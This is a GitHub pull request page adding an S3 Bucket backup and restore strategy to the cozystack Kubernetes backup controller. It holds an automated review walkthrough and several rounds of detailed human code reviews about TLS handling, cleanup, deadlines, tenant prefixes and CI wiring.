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feat(backupstrategy-controller): add S3 Bucket backup/restore strategy - #4235
Andrey Kolkov (androndo) wants to merge 14 commits into
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📝 WalkthroughWalkthroughThis change adds a Bucket backup strategy with Kubernetes APIs, S3 mirroring, controller reconciliation, deployment wiring, and an end-to-end backup and restore example. ChangesBucket backup and restore
Priority: ➖ Normal Estimated code review effort: 5 (Critical) | ~90 minutes Change: Feature Sequence Diagram(s)sequenceDiagram
participant BackupJob
participant BucketJobReconciler
participant BucketAccess
participant MirrorJob
participant Backup
BackupJob->>BucketJobReconciler: reconcile Bucket strategy
BucketJobReconciler->>BucketAccess: provision read-only access
BucketJobReconciler->>MirrorJob: create backup mirror Job
MirrorJob->>BucketJobReconciler: report completion
BucketJobReconciler->>Backup: store restore snapshot
BucketJobReconciler->>BucketAccess: provision read-write access
BucketJobReconciler->>MirrorJob: create restore mirror Job
Merge Risk: 🟡 Moderate · up to Enabling artifact-cleanup skipping can delete an unrelated Job with the derived cleanup name. Add the ownership and mode checks before merging. 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches 💡 1📝 Generate docstrings 💡
🧪 Generate unit tests (beta)
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Inline comments:
In `@examples/backups/bucket/cleanup.sh`:
- Line 16: Update the BucketAccess cleanup command in the cleanup script to also
delete the in-place restore access named "${SRC_RELEASE}-cozy-restore", while
preserving the existing deletion of the backup and target restore accesses.
In `@hack/e2e-chainsaw/bucket-backup/chainsaw-test.yaml`:
- Line 70: Increase the outer Chainsaw timeout from 40m to 60m at the timeout
configuration near the run-all.sh execution, leaving the serial wait logic and
individual command behavior unchanged.
In `@internal/backupcontroller/bucketstrategy_controller.go`:
- Around line 77-80: Update bucketBackupSnapshot to persist separate repository
credential Secret names and the complete Destination.TLS.CASecretKeyRef
selector, then use those values when reconstructing the backup Pod and restore
configuration. Preserve backward compatibility by falling back to
RepoCredentialsSecret for both credential selectors and retaining the existing
TLS behavior when the new snapshot fields are absent.
- Around line 400-401: Update both BackupJobReconciler.ensureBucketAccess and
RestoreJobReconciler.ensureBucketAccess to validate existing BucketAccess
objects’ bucketClaimName, bucketAccessClassName, protocol, and
credentialsSecretName against the desired spec. Reapply the desired object using
server-side apply when the existing object has
apps.cozystack.io/managed-by=cozystack-backups; otherwise return a clear
conflict error for missing or different ownership labels, and only return the
existing object unchanged when all values match.
In `@internal/s3mirror/s3mirror.go`:
- Around line 116-119: Update Run’s argument validation to reject an empty
repo-prefix only in restore mode, before invoking the restore source; preserve
the current allowance for empty prefixes in backup mode and retain the existing
required endpoint/bucket checks.
In
`@packages/system/backupstrategy-controller/templates/strategy-bucket-default.yaml`:
- Line 4: Update the template condition guarding the Bucket Strategy resource to
also require successful discovery of the Bucket Strategy CRD, matching the
existing lookup gate used for other strategy types. Preserve the bucket-name
requirement, and add an upgrade-case rendering test covering a resolved bucket
name with the Bucket Strategy CRD absent.
- Line 13: Update the endpoint rendering in the strategy bucket template to use
the configured $endpoint value rather than $endpointHost, preserving explicit
schemes such as http:// while retaining the existing quoting behavior.
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📒 Files selected for processing (36)
api/backups/strategy/v1alpha1/bucket_types.goapi/backups/strategy/v1alpha1/zz_generated.deepcopy.gocmd/backupstrategy-controller/main.goexamples/backups/bucket/00-bucket-src.yamlexamples/backups/bucket/00-helpers.shexamples/backups/bucket/01-bucket-dest.yamlexamples/backups/bucket/10-bucket-strategy.yamlexamples/backups/bucket/15-backupclass.yamlexamples/backups/bucket/20-plan.yamlexamples/backups/bucket/25-backupjob-adhoc.yamlexamples/backups/bucket/30-bucket-target.yamlexamples/backups/bucket/35-restorejob-in-place.yamlexamples/backups/bucket/40-restorejob-to-copy.yamlexamples/backups/bucket/90-scenario.mdexamples/backups/bucket/README.mdexamples/backups/bucket/cleanup.shexamples/backups/bucket/run-all.shgo.modhack/e2e-chainsaw/bucket-backup/chainsaw-test.yamlinternal/backupcontroller/backupjob_controller.gointernal/backupcontroller/backupjob_controller_test.gointernal/backupcontroller/bucketapp/types.gointernal/backupcontroller/bucketapp/zz_generated.deepcopy.gointernal/backupcontroller/bucketstrategy_controller.gointernal/backupcontroller/bucketstrategy_controller_test.gointernal/backupcontroller/buckettypes/types.gointernal/backupcontroller/buckettypes/zz_generated.deepcopy.gointernal/backupcontroller/restorejob_controller.gointernal/s3mirror/mirror_test.gointernal/s3mirror/s3mirror.gointernal/s3mirror/s3mirror_test.gopackages/system/backupstrategy-controller/definitions/strategy.backups.cozystack.io_buckets.yamlpackages/system/backupstrategy-controller/templates/backupclass-default.yamlpackages/system/backupstrategy-controller/templates/rbac.yamlpackages/system/backupstrategy-controller/templates/strategy-bucket-default.yamlpackages/system/backupstrategy-controller/tests/rendering_test.yaml
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IvanHunters
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Verdict
NOT LGTM
The new e2e suite is wired into no selector, so the repo's own guard is red and the Chainsaw round-trip this PR cites as coverage has never run once.
Under that, the configurations the API offers don't survive their own round trip. A private-CA endpoint backs up and then fails every restore. A plain-HTTP external endpoint fails every backup. Deleting a Backup leaves the mirrored copy sitting in cozy-backups with nothing left that knows its prefix.
The driver is well argued and the mechanism choice holds up: an S3-to-S3 copy over minio-go, rather than the AGPL mc, is the right call. All of this is fixable inside the PR.
Findings
- [MAJOR]
hack/e2e-chainsaw/bucket-backup/chainsaw-test.yaml:16, the new suite is wired into no selector, so CI is red and the round-trip never ran - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:616, restore drops destination.tls.caSecretKeyRef, so a private-CA repo backs up but never restores - [MAJOR]
internal/backupcontroller/restorejob_controller.go:338, deleting a Backup never reclaims the mirrored objects - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:366, a running mirror Job has no deadline, so a wedged copy stalls the BackupJob forever - [MAJOR]
packages/system/backupstrategy-controller/templates/strategy-bucket-default.yaml:2, the default strategy strips the endpoint scheme, forcing plain-HTTP external S3 to TLS - [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:767, buildBucketMirrorPod has no test, including the flag that deletes objects - [MINOR]
internal/s3mirror/s3mirror.go:298, the purge refusal names a flag no caller can emit - [MINOR]
internal/s3mirror/s3mirror.go:205, --ca-file replaces the system trust store, and one transport serves both endpoints - [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:453, the snapshot collapses two credential Secrets into one - [MINOR]
internal/s3mirror/s3mirror.go:291, restore-as-copy of an empty prefix reports success having restored nothing - [MINOR]
examples/backups/bucket/90-scenario.md:7, "byte-for-byte" overstates what the mirror copies
Caveats
Require API owner review for sizeable API changesis red at "Check for an API owner approval": the newstrategy.backups.cozystack.io/Bucketresource needs a sign-off from lllamnyp or kvaps. Governance rather than code, and not something this review can clear.- The mirror Job's args are frozen when the Job is created, but the Backup artifact is built from a fresh render at the reconcile that observes completion. The endpoint helper documents an unattended promotion from the
backupStorage.endpointfallback to the Secret-derived host, so the snapshot can end up describing a destination no bytes were written to. The window is narrow but the mechanism is real. Building the artifact from the same render that built the Job closes it. - Deleting an ad-hoc BackupJob and re-applying the same manifest reuses the repo prefix, and backup mode does not delete extraneous objects, so the prefix accumulates the union of two points in time while
createBucketBackupArtifactadopts the original Backup and its originaltakenAt. The example workflow does exactly this delete-and-reapply. - Restore takes
repoBucket/repoPrefixverbatim fromBackup.status.underlyingResourcesand never checks the prefix belongs to the requesting namespace. Not reachable today only becausecozy:backups:adminwithholds write onbackups; a prefix check would make that independent of RBAC. - SSA field ownership and live admission on upgrade are out of reach for a static review. Worth a disposable-cluster run once CI goes green.
- Checked and sound: the
-readonlyBucketAccessClass exists on both seaweedfs charts, the CRD matches the Go types, minio-go and its new transitives are permissive, and shipping the CRD beside a gated CR matches the Redis precedent.
| apiVersion: chainsaw.kyverno.io/v1alpha1 | ||
| kind: Test | ||
| metadata: | ||
| name: bucket-backup-roundtrip |
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[MAJOR] the new suite is wired into no selector, so CI is red and the round-trip never ran
hack/select-install.sh --validate refuses this head, and that is the exact command hack/select-install_test.bats runs:
$ bash hack/select-install.sh --validate; echo "exit=$?"
select-install: suite 'bucket-backup' has no PackageSource mapping (add it to suite_to_source)
exit=1
The sibling assertion in hack/select-e2e_test.bats is what reddens Unit & controller tests (job 103956004543). Its log:
$ gh api repos/cozystack/cozystack/actions/jobs/103956004543/logs \
| sed "s/^[0-9T:.-]*Z //" | grep -E "Test failed|^ want:|^ got:|Error 1" | cut -c1-110
make: *** [Makefile:191: bats-unit-select-e2e_test] Error 1
╰[00:01] ❌ Test failed: a CNI change selects every suite the graph can reach (exit 1)
want: bucket bucket-backup clickhouse etcd external-dns foundationdb gateway harbor kafka kubernetes-latest
got: bucket clickhouse etcd external-dns foundationdb gateway harbor kafka kubernetes-latest kubernetes-pre
full_suite_list finds the new directory by glob, so bucket-backup appears in want. select-e2e.sh has no rule that yields it, so it never appears in got.
There is a second arm. The examples/backups/<app>/ rule derives the suite name from the directory, and this harness lives in examples/backups/bucket/, so editing run-all.sh or any manifest it drives selects the plain bucket suite:
$ printf 'examples/backups/bucket/run-all.sh
' > /tmp/pr-review-cozystack-cozystack-4235-scratch/d.txt && bash hack/select-e2e.sh /tmp/pr-review-cozystack-cozystack-4235-scratch/d.txt
bucket
Net effect: the Chainsaw round-trip the description cites as coverage has not executed once on this revision, and the E2E Tests gate reads "in-tree e2e did not pass (result: skipped)" because Resolve assets, Finalize and E2E (in-tree) all hang off the red unit job.
Add bucket-backup to suite_to_source() in hack/select-install.sh and to src_to_suites() in hack/select-e2e.sh, and make the example-directory rule resolve to it.
| return r.markBackupJobFailed(ctx, j, message) | ||
|
|
||
| default: | ||
| return ctrl.Result{RequeueAfter: bucketPollInterval}, nil |
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[MAJOR] a running mirror Job has no deadline, so a wedged copy stalls the BackupJob forever
Once ensureJobStrategyJob has created the Job, the default: arm of the jobConditionState switch requeues at a fixed 5s with no bound, on the backup path (this line) and on the restore path at line 665. No deadline is set anywhere on this driver's path. Every non-test file under the controller package that sets one:
$ grep -rl 'ActiveDeadlineSeconds' internal/backupcontroller/ --include='*.go' | grep -v _test.go | sort
internal/backupcontroller/rabbitmqstrategy_controller.go
internal/backupcontroller/redisstrategy_controller.go
Only Rabbitmq and Redis. buildJobStrategyBatchJob sets backoffLimit: 2 and no deadline, buildBucketMirrorPod adds none, and BucketTemplate exposes no field an admin could use to supply one. StrategyNotReadyDeadline bounds only the pre-launch precondition wait.
backoffLimit bounds pod failures, and a pod that hangs never fails. s3mirror.Run builds its clients on a bare context.Background() with no per-request timeout, so a blackholed endpoint or a very large bucket leaves the container streaming indefinitely. The BackupJob stays Running with whatever Ready condition was written last, so nothing in kubectl describe looks wrong.
Meanwhile plan_controller.go mints a new BackupJob at every cron tick with no in-flight check, so a wedged run does not block the next one. Each tick adds another full-bucket mirror writing into cozy-backups, and with the missing cleanup above none of the partial copies is ever reclaimed.
Redis is the precedent and is explicit about why: it promotes the strategy's Pod-level deadline onto the Job so a wedged run "becomes a Failed Job the driver reports, rather than a Running BackupJob a cron Plan stacks behind." A constant plus an activeDeadlineSeconds on the Job puts this driver on the same footing.
| } | ||
| pool := x509.NewCertPool() | ||
| if !pool.AppendCertsFromPEM(pem) { | ||
| return nil, fmt.Errorf("no certificates parsed from CA file %s", caFile) |
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[MINOR] --ca-file replaces the system trust store, and one transport serves both endpoints
The pool starts empty rather than from x509.SystemCertPool(), and the resulting transport is handed to both minio clients:
$ sed -n '155,161p' internal/s3mirror/s3mirror.go
appClient, err := newClient(app, transport)
if err != nil {
fmt.Fprintf(os.Stderr, "s3-mirror: app client: %v\n", err)
return 1
}
repoClient, err := newClient(repo, transport)
if err != nil {
The two endpoints are independently sourced (the app side from the COSI BucketInfo or --app-endpoint, the repo side from --repo-endpoint), and AppEndpointOverride exists precisely because they can differ. The chart's own endpoint helper describes that split as the normal topology: the in-cluster SeaweedFS S3 is self-signed, while the COSI-provisioned bucket is reached through the external ingress with an ACME certificate.
So supplying caSecretKeyRef for one endpoint drops every public root for the other, and a handshake that used to work starts failing with certificate signed by unknown authority. The only configurations left are "both endpoints under the same CA" and insecureSkipVerify.
Two independent fixes: seed the pool from x509.SystemCertPool() before appending, and give each side its own TLS config rather than sharing one transport.
| RepoEndpoint: rendered.Destination.Endpoint, | ||
| RepoPrefix: repoPrefix, | ||
| RepoRegion: rendered.Destination.Region, | ||
| RepoCredentialsSecret: rendered.Destination.AccessKeyIDSecretKeyRef.Name, |
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[MINOR] the snapshot collapses two credential Secrets into one
BucketDestination holds two independent BucketSecretKeySelectors, and buildBucketMirrorPod honours both names separately:
$ sed -n '781,792p' internal/backupcontroller/bucketstrategy_controller.go | grep -E 'Name: "REPO|LocalObjectReference\{Name'
LocalObjectReference: corev1.LocalObjectReference{Name: dest.AccessKeyIDSecretKeyRef.Name},
Name: "REPO_SECRET_KEY",
LocalObjectReference: corev1.LocalObjectReference{Name: dest.SecretAccessKeySecretKeyRef.Name},
The snapshot keeps a single repoCredentialsSecret for both keys, and restore rebuilds both refs out of it. A strategy whose two refs name different Secrets therefore backs up correctly and restores against the wrong Secret: REPO_SECRET_KEY resolves to a key that is not there.
What makes it worth fixing rather than documenting is the failure mode. The Pod sits in CreateContainerConfigError, a container that never starts never fails the Job, and with no activeDeadlineSeconds (see the MAJOR on line 366) the RestoreJob requeues every 5s and stays Running with nothing reported.
Either carry both Secret names in the snapshot, or reject a two-Secret destination at validation time and say why.
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Inline comments:
In `@internal/backupcontroller/bucketstrategy_controller.go`:
- Line 947: Ensure every Bucket Backup producer limits Backup names to 55
characters before the cleanup Job name is constructed in the controller path
using backup.Name + "-cleanup"; otherwise, generate a deterministic valid name
by truncating the name and appending a stable hash, while preserving uniqueness
and Kubernetes naming requirements.
- Line 977: Update the cleanup Job lookup and reuse logic around r.Get in the
cleanup flow to validate that the existing Job’s controller reference matches
the Backup UID and that its bucketLabelMode label is cleanup. If either check
fails for an existing unrelated Job, return a conflict instead of reusing it or
releasing the Backup without purging.
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examples/backups/bucket/90-scenario.mdhack/select-e2e.shhack/select-e2e_test.batshack/select-install.shinternal/backupcontroller/backup_controller.gointernal/backupcontroller/bucketstrategy_controller.gointernal/backupcontroller/bucketstrategy_controller_test.gointernal/backupcontroller/jobstrategy_controller.gointernal/s3mirror/mirror_test.gointernal/s3mirror/s3mirror.go
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This needs a rebase: #4000 just landed and the two branches overlap in six files. I measured that before merging rather than after, so it is not a surprise waiting for you. What went in is the Kafka topic-metadata driver, which registers itself the same way yours does, so most of it should resolve as two entries side by side rather than as a fight over the same lines. The two test files are the ones worth reading afterwards instead of taking the merge result on trust. |
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Inline comments:
In `@internal/backupcontroller/bucketstrategy_controller.go`:
- Line 953: Update cleanupBucketBackup’s skip-artifact-cleanup path before
calling deleteBucketCleanupJob to apply the same controller-ownership and mode
checks used by the normal cleanup path, and only delete existing Jobs that this
Backup controls and that match the expected mode.
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Aleksei Sviridkin (lexfrei)
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NOT LGTM
The unit lane is red on a one-line mismatch this branch introduced, and that red is why the Chainsaw round-trip the PR cites as its coverage has still never run.
Under that, the per-tenant prefix in the shipped strategy is the one field in the new template nothing tests, and a commit body carries review vocabulary the repo rules out.
The driver itself holds up. Reclaim, the Job deadline, the delete-flag polarity and the access-ownership guards all landed with tests that hold when I mutate what they claim to cover, and the merge with the Kafka driver kept both sides' assertions in both shared test files.
Blockers
hack/select-e2e_test.bats:2, the new test case adds a trap 'rm -rf "$tmp"' EXIT and leaves the header at # EXIT-TRAP DEBT: 14. The contract test counts the traps a file holds and compares them to that header, so adding one without bumping the number breaks it. CI prints select-e2e_test.bats: declares 14 EXIT trap(s), holds 15, then FAIL: EXIT-trap cleanup and the declared debt disagree., and the job exits 2. E2E (in-tree) was skipped in that same run and Report E2E status turned that into a red E2E Tests. Bump the header to 15, or clean up at the end of the test body instead.
packages/system/backupstrategy-controller/templates/strategy-bucket-default.yaml:22, prefix renders {{ .Application.metadata.namespace }}/{{ .Application.metadata.name }}/, and that namespace segment is all that separates two tenants inside the shared cozy-backups bucket. I deleted the segment from that line and ran helm unittest . in the package: 23 tests, still green. The Go side is pinned, blanking Application in renderBucketTemplate reddens TestRenderBucketTemplate, so the mechanism has a test and the shipped value does not, while the same test in that suite pins the endpoint scheme. An edit that drops the segment lands green, two tenants owning a Bucket app of the same name share one prefix, and a restore reads the wrong tenant's objects.
commit c60dd31eb, the body opens with Address the round-2 review on the S3 Bucket backup strategy. docs/agents/contributing.md:65 asks for a body written for a reader who only has git log, with no review-iteration vocabulary, and line 92 makes that NOT LGTM on its own. The rest of the body is good and reads fine without the sentence.
Non-blocking
internal/s3mirror/s3mirror.go:339, the zero-object refusal is gated on restore, so a backup that lists nothing exits 0 and records a Backup with an empty snapshot. The restore side refuses it later, so nothing is lost, but until someone restores, a misconfigured backup looks the same as an empty one.
internal/s3mirror/s3mirror.go:347, deleteExtraneous is applied without checking the mode, and the empty-prefix guard at line 124 exempts backup, so --mode=backup --delete-extraneous with no --repo-prefix would sweep the whole repo bucket. buildBucketMirrorPod never emits that pair, so nothing reaches it today. On a path that deletes I would still gate it rather than trust the caller.
internal/s3mirror/s3mirror.go:231, the --ca-file half of the shared-transport point from the earlier review is fixed, the --insecure half is not. One transport serves both endpoints (129, 189, 194), so insecureSkipVerify on the repo destination also drops certificate verification for the application endpoint.
internal/backupcontroller/bucketstrategy_controller.go:953, the skip-artifact-cleanup path deletes <backup>-cleanup after a bare Get, while line 1014 refuses the same lookup unless the Job is controlled by this Backup and carries the cleanup mode label. The bot raised this one; the asymmetry with the guarded path further down is what makes it look like an oversight rather than a decision.
internal/s3mirror/s3mirror.go:97, the --mode help says "backup or restore", line 112 also takes delete.
Not checked
The Chainsaw suite and the COSI interaction on a live cluster. I read the restore-as-copy credential path without running it.
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Aleksei Sviridkin (lexfrei)
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NOT LGTM
The three blockers are closed. I re-ran each instead of reading it: the contract test passes, dropping the namespace segment from the shipped prefix now reddens rendering_test.yaml, and the tip commit was amended so that body is gone from the branch. Unit & controller tests is green, which is what let E2E (in-tree) start at all; it is running now instead of being skipped.
The same commit adds one change with nothing under it.
Blocker
internal/backupcontroller/jobstrategy_controller.go:324 promotes the Pod's activeDeadlineSeconds onto the Job. I deleted those three lines and go test ./internal/backupcontroller/... stayed green in every package. That block is the part of "bound the mirror Job" that bounds across retries; the Pod deadline on its own already bounds a single attempt.
It reaches past the Bucket driver. buildJobStrategyBatchJob also builds the Job for the generic strategy.backups.cozystack.io/Job strategy, where spec.template.spec.activeDeadlineSeconds is whatever the strategy author wrote. There a Pod deadline used to bound each attempt and now bounds the whole Job, so a run that survived on retry 2 gets killed at the first deadline. Kafka is fine, setKafkaJobDeadline overwrites the field right after the call, and Redis promoted it locally already.
Two cases cover it: the Job takes the Pod's deadline, and the Job gets none when the Pod sets none. Same shape as the prefix blocker, the shipped behaviour is correct and nothing catches it drifting.
internal/backupcontroller/redisstrategy_controller.go:414 cannot fire any more, since desired.Spec.ActiveDeadlineSeconds is set by the time it runs, and its comment repeats the one you added.
Non-blocking
internal/s3mirror/s3mirror.go:229, the warning closes the silent half. The Backup is still Succeeded with an empty snapshot, and the warning only goes to the mirror Job's stderr, so it dies with the Job. An Event on the BackupJob puts it where an operator looks.
internal/s3mirror/s3mirror.go:245, --insecure still sets InsecureSkipVerify on the single transport both endpoints share, so turning it on for the repo side drops verification for the application side too. The --ca-file half is fixed.
I have not run the Chainsaw round-trip on a cluster.
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IvanHunters
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Verdict
NOT LGTM
Every one of the eleven findings from my last round is closed, and I re-ran each rather than reading the commit messages for it.
Start with the size: 3871 lines over 41 files is past what one round can certify, and this round found six blocking issues in code the previous round had already read. The seams are clean if you want to split it: internal/s3mirror on its own; the API type, CRD and chart wiring; the driver under internal/backupcontroller/bucket*; then examples, Chainsaw and the e2e wiring. Reviewed as one piece, the list below is not a full pass.
Findings
- [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:946, deleting a Backup while an in-place restore reads it can destroy live objects - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:417, the driver's BucketAccess outlives the app and then cannot be deleted - [MAJOR]
packages/system/backupstrategy-controller/templates/strategy-bucket-default.yaml:29, the shipped strategy drops the platform's S3 TLS settings - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:377, a failed backup leaves its partial copy in the platform bucket with nothing that can reclaim it - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:55, the two-hour mirror deadline is a hard ceiling on bucket size, and retries restart from zero - [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:333, accessGranted is treated as proof the credential already works - [MINOR]
packages/system/backupstrategy-controller/templates/strategy-bucket-default.yaml:30, no resources on the mirror container - [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:824, mirror and cleanup containers carry no securityContext - [MINOR]
internal/s3mirror/s3mirror.go:107, --allow-empty-source has no producer, and one guard has no test - [MINOR]
internal/backupcontroller/bucketapp/types.go:1, the typed package is registered and never used
Caveats
- The red check is the
Require API owner review for sizeable API changesgate, stepCheck for an API owner approval: a new API group needs lllamnyp or kvaps, not a code fix.E2E (in-tree), the only job that runs the newbucket-backupsuite, was still pending on this head, so "verified end-to-end on a live cluster" is uncorroborated here. - Upgrade reasoned, not executed: the CRD-Established gate holds the CR back on the first upgrade that ships the kind, and
DefaultObjectsGateshould materialise it once the RESTMapper resolves it. Live SSA, admission and a real S3 backend went untested. Acozystack-pr-testrun over delete-then-recreate would settle the BucketAccess finding, and a concurrent delete-during-restore would settle the first one.
| // terminating, strategy gone, credentials unprojectable) rather than wedging the | ||
| // Backup Terminating forever; `backups.cozystack.io/skip-artifact-cleanup` is the | ||
| // operator escape hatch. | ||
| func (r *BackupReconciler) cleanupBucketBackup(ctx context.Context, backup *backupsv1alpha1.Backup) (ctrl.Result, error) { |
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[MAJOR] deleting a Backup while an in-place restore reads it can destroy live objects
cleanupBucketBackup launches a purge Job over snapshot.RepoPrefix with nothing holding it apart from an in-flight RestoreJob reading the same prefix.
$ grep -rniE "restorejob|in-flight" internal/backupcontroller/backup_controller.go
internal/backupcontroller/backup_controller.go:98:// the Backup's side state. Mirrors restorejob_controller's cleanupOnDelete
$ grep -rn "DeletionTimestamp" internal/backupcontroller/restorejob_controller.go
internal/backupcontroller/restorejob_controller.go:75: if !restoreJob.DeletionTimestamp.IsZero() {
The only DeletionTimestamp read is the RestoreJob's own, and a Get on a terminating Backup still returns status.underlyingResources, so the snapshot resolves as usual. In-place is not opt-in: inPlace := targetAppName == backup.Spec.ApplicationRef.Name (:652) is passed straight through as deleteExtraneous.
The interleaving that hurts: the restore's listing walks the repo prefix building seen, the purge removes a key before the listing reaches it, and that key never enters seen -- silently, because an object that never appears in a listing raises no error. deleteUnseen (internal/s3mirror/s3mirror.go:396-406) then lists the live application bucket and removes everything not in seen. Both copies are gone, copied > 0 so the empty-snapshot refusal never fires, and the RestoreJob reports Succeeded.
A restore is exactly when an operator is most likely to be deleting Backups by hand. Either refuse cleanup while a RestoreJob references the Backup, or make the restore fail closed when its source prefix shrinks under it.
| key: AWS_ACCESS_KEY_ID | ||
| secretAccessKeySecretKeyRef: | ||
| name: cozy-backups-creds | ||
| key: AWS_SECRET_ACCESS_KEY |
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[MAJOR] the shipped strategy drops the platform's S3 TLS settings
backupStorage.endpointCASecretName (values.yaml:168) and backupStorage.insecureSkipTLSVerify (values.yaml:173) are documented as the supported way to reach a private-CA or self-signed S3 endpoint, and the Bucket CRD has the matching destination.tls.caSecretKeyRef and destination.tls.insecureSkipVerify. This template reads neither, so on provisionBucket: false against an external S3 behind a private CA the mirror cannot verify the endpoint and every Bucket backup fails the handshake, while the Redis strategy on the same values keeps working.
$ helm template t . --set backupStorage.bucketNameOverride=ext-bucket --set backupStorage.endpointCASecretName=my-private-ca --set backupStorage.insecureSkipTLSVerify=true --show-only templates/strategy-bucket-default.yaml | grep -c tls
0
$ ... --show-only templates/strategy-redis-default.yaml | grep -nE 'my-private-ca|S3_INSECURE_SKIP_VERIFY'
19: secretName: "my-private-ca"
69: - name: S3_INSECURE_SKIP_VERIFY
Render a tls: block from the same two values, the way strategy-redis-default.yaml:50-74 does.
| } | ||
| return ctrl.Result{}, nil | ||
|
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| case batchv1.JobFailed: |
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[MAJOR] a failed backup leaves its partial copy in the platform bucket with nothing that can reclaim it
On case batchv1.JobFailed the driver calls markBackupJobFailed, which writes status and nothing else; the Backup artifact is created only on the JobComplete branch. cleanupBucketBackup is keyed off the Backup, so it can never reach this prefix, and nothing else can either:
$ grep -c Finalizer internal/backupcontroller/backupjob_controller.go
0
$ grep -rniE "retention|prune|expire" api/backups/v1alpha1/plan_types.go
(no output, exit 1)
streamCopy writes objects one at a time, so a mirror that dies partway -- OOM, an S3 error, the deadline in the next finding -- has already put a prefix's worth of them into cozy-backups. Deleting the failed BackupJob GCs only its batch Job. Every scheduled run gets a fresh name and therefore a fresh prefix, so each failure leaks its own and none is ever revisited; BackupJobStatus does not even record the prefix for a human to find it.
This is the same argument the PR makes for cleaning up on delete ("nothing left that knows their prefix"), applied to the path the PR does not cover. A finalizer on BackupJob that purges its own prefix on failure would close it.
| // the Pod deadline plus backoffLimit caps the whole run at a finite multiple. | ||
| // Generous so a large legitimate bucket still finishes; the point is a | ||
| // finite ceiling, not a tight SLA. | ||
| bucketMirrorDeadlineSeconds int64 = 2 * 60 * 60 |
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[MAJOR] the two-hour mirror deadline is a hard ceiling on bucket size, and retries restart from zero
$ grep -rniE "deadline|timeout" api/backups/strategy/v1alpha1/bucket_types.go
(no output, exit 1)
$ grep -rniE "etag|stat|skip.*exist" internal/s3mirror/s3mirror.go
internal/s3mirror/s3mirror.go:431: // Stat resolves the object's headers (Content-Type, Content-Encoding, user
bucketMirrorDeadlineSeconds is a bare const used at :858 and :926. BucketTemplate exposes Destination, Image, AppEndpointOverride, ServerSideCopy and Resources, and no deadline, so no CRD field, chart value or flag moves it.
The mirror also has no existing-object skip -- the only Stat reads headers for the copy it is about to make -- so each of the three attempts (backoffLimit: 2) re-lists and re-copies from the first key and makes the same fractional progress as the one before it. A bucket that cannot stream in two hours can therefore never be backed up or restored by this strategy, at any retry count, and each attempt leaks a partial prefix per the previous finding. Object storage is precisely the app class where hundreds of GB is a legal input, and the comment on the constant ("Generous so a large legitimate bucket still finishes") is the assumption I would want measured rather than asserted.
| if err != nil { | ||
| return r.markBackupJobFailed(ctx, j, fmt.Sprintf("failed to provision source BucketAccess: %v", err)) | ||
| } | ||
| if !access.Status.AccessGranted { |
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[MAJOR] accessGranted is treated as proof the credential already works
The driver gates on access.Status.AccessGranted and builds the mirror Pod on the next statement (the restore path does the same at line 641). This repository already documents that the gate is not sufficient: hack/e2e-chainsaw/_lib/backup-access-preflight.sh:2-4 says "E2E-only proof that a freshly granted COSI BucketAccess is already usable by the S3 server. accessGranted describes the COSI object state; it does not prove that the backing server has reloaded the new IAM identity", and it budgets 90s for that.
Every other backup example calls it; the new one does not:
$ grep -rln "backup-access-preflight" examples/ hack/
examples/backups/clickhouse/03-create-bucket.sh
examples/backups/mariadb/run-all.sh
examples/backups/mongodb/run-all.sh
examples/backups/postgres/run-all.sh
hack/backup-access-preflight.bats
In production the mirror Job has backoffLimit: 2 and Job backoff starts at 10s, so all three attempts land inside roughly 30s. A Bucket app's first BackupJob -- the one that provisions the access -- can therefore fail on a 403 and report Failed. Either preflight the credential before launching the mirror, or treat an auth failure as retryable rather than terminal.
| secretAccessKeySecretKeyRef: | ||
| name: cozy-backups-creds | ||
| key: AWS_SECRET_ACCESS_KEY | ||
| image: {{ .Values.backupStrategyController.image | quote }} |
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[MINOR] no resources on the mirror container
BucketTemplate.Resources is documented in api/backups/strategy/v1alpha1/bucket_types.go:105-107 as existing "so one tenant's backup cannot starve a node", and redisBackupResources (values.yaml:69-77) is the in-package precedent, complete with a comment explaining how to size it. The shipped cozy-default-bucket sets nothing, so the mirror container falls to the tenant LimitRange defaults of 250m CPU and 128Mi memory (packages/apps/tenant/templates/quota.yaml:18-25) wherever resourceQuotas is enabled, which an OOM kill turns into a failed backup on a large bucket.
| }, | ||
| } | ||
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| container := corev1.Container{ |
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[MINOR] mirror and cleanup containers carry no securityContext
Neither buildBucketMirrorPod nor buildBucketCleanupPod sets a container or pod securityContext. Both sibling default strategies do, on Pods that land in the same tenant namespaces: strategy-redis-default.yaml:350-355 and strategy-kafka-default.yaml:89-94 each set allowPrivilegeEscalation: false, capabilities.drop: ["ALL"] and seccompProfile.type: RuntimeDefault. No PSS enforce label is applied to tenant namespaces in-tree, so nothing rejects these Pods today; this is a hardening and consistency gap, not a functional break.
| caFile := fs.String("ca-file", "", "PEM CA bundle to trust") | ||
| serverSide := fs.Bool("server-side", false, "attempt server-side CopyObject before streaming") | ||
| deleteExtraneous := fs.Bool("delete-extraneous", false, "delete destination objects absent from the source (restore mirror)") | ||
| allowEmptySource := fs.Bool("allow-empty-source", false, "permit a restore whose source lists zero objects (which would wipe or empty the destination)") |
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[MINOR] --allow-empty-source has no producer, and one guard has no test
--allow-empty-source is parsed and threaded into mirror, but nothing emits it: no controller path, no CRD field, no example or doc. The Job spec is built entirely by the controller, so an operator has no way to reach the escape hatch the error message points at. A backup legitimately taken of an empty bucket therefore produces a Backup whose every restore is refused, with no supported override.
Separately, mutating the guard at line 129 (--delete-extraneous requires --repo-prefix) leaves go test ./internal/s3mirror/ -count=1 green, so nothing holds it. The four other guards I mutated all reddened: the empty-snapshot restore refusal, the restore/delete prefix requirement, the unowned-BucketAccess refusal and the cleanup-Job ownership refusal.
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IvanHunters
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Verdict
NOT LGTM
An in-place restore whose Backup is being purged concurrently deletes live objects out of the tenant bucket, and the line deciding whether a restore deletes at all is held by no test.
